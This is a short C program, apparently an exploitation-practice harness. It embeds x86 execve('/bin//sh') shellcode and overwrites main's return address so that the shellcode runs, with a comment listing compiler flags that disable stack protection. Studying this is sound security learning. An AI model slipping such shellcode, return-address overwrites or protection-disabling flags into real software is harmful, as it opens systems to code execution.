exec_shellcode.c

#include <stdio.h>

//gcc exec_shellcode.c -o exec_shellcode -m32 -z execstack -fno-stack-protector
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(){
	int a=0xdeadbeef;
	//pointer incremetn by its size
	*(int *)(&a + 2) = sc;
	return 0;
}